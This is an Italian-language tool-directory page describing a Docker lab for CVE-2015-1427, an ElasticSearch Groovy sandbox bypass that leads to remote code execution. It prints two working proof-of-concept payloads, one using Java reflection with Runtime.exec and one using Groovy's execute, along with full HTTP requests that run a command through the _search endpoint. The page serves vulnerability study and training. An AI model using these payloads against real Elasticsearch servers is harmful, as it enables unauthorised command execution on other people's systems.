Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Groovy-scripting-engine-CVE-2015-1427 — Ambiente di laboratorio basato su Docker per il bypass del sandbox Groovy di ElasticSearch e l'esecuzione di codice remoto per CVE-2015-1427, che dimostra due metodi POC con riflessione Java ed esecuzione di comandi Groovy. | Kitploit
Strumenti/GitHubGitHub/cyberharsh/groovy-scripting-engine-cve-2015-1427
Analisi delle VulnerabilitàAnalisi del CodiceExploitSfruttamento di Applicazioni WebApprendimento e Formazione
GitHubcyberharsh/groovy-scripting-engine-cve-2015-1427

Groovy-scripting-engine-CVE-2015-1427

Ambiente di laboratorio basato su Docker per il bypass del sandbox Groovy di ElasticSearch e l'esecuzione di codice remoto per CVE-2015-1427, che dimostra due metodi POC con riflessione Java ed esecuzione di comandi Groovy.

Vedi Repository
56 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Ambiente di test per bypass della sandbox Groovy di ElasticSearch e vulnerabilità di esecuzione di codice (CVE-2015-1427)

Versione JRE: openjdk:8-jre

Versione Elasticsearch: v1.4.2

Principio

Articoli di riferimento:

  • http://cb.drops.wiki/drops/papers-5107.html
  • http://jordan-wright.com/blog/2015/03/08/elasticsearch-rce-vulnerability-cve-2015-1427/
  • https://github.com/XiphosResearch/exploits
  • http://cb.drops.wiki/drops/papers-5142.html

Dopo CVE-2014-3120, ElasticSearch ha cambiato il linguaggio di scripting dinamico predefinito in Groovy, aggiungendo una sandbox, ma di default supporta ancora l'esecuzione diretta di linguaggi dinamici. Questa vulnerabilità: 1. è un bypass della sandbox; 2. è una vulnerabilità di esecuzione di codice Groovy.

"Sandbox" del linguaggio Groovy

ElasticSearch supporta l'uso del linguaggio Groovy "in sandbox" come script dinamico, ma evidentemente il lavoro ufficiale non è stato ben fatto. lupin e tang3 hanno proposto rispettivamente due metodi per eseguire comandi:

  1. Poiché esiste una sandbox per l'esecuzione di codice Java, il metodo di lupin è tentare di aggirarla, ad esempio usando la riflessione Java.
  • Groovy è di per sé un linguaggio, quindi tang3 ha preso un'altra strada, usando i metodi supportati da Groovy per eseguire direttamente comandi, senza bisogno di utilizzare il linguaggio Java.
  • Pertanto, in base a queste due idee di esecuzione della vulnerabilità, possiamo ottenere due diversi POC.

    Metodo di bypass della sandbox Java:

    root@kitploit:~
    java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
    

    Metodo di esecuzione diretta del comando Groovy:

    root@kitploit:~
    def command='id';def res=command.execute().text;res
    

    Test della vulnerabilità

    Compilare ed eseguire l'ambiente di test

    root@kitploit:~
    docker-compose build
    docker-compose up -d
    

    Poiché per effettuare una query è necessario che ci sia almeno un dato in ES, inviare il seguente pacchetto dati per aggiungere un dato:

    root@kitploit:~
    POST /website/blog/ HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 25
    
    {
      "name": "test"
    }
    

    Quindi inviare un pacchetto dati contenente il payload per eseguire un comando arbitrario:

    root@kitploit:~
    POST /_search?pretty HTTP/1.1
    Host: your-ip:9200
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/text
    Content-Length: 156
    
    {"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
    

    Scarica lo strumento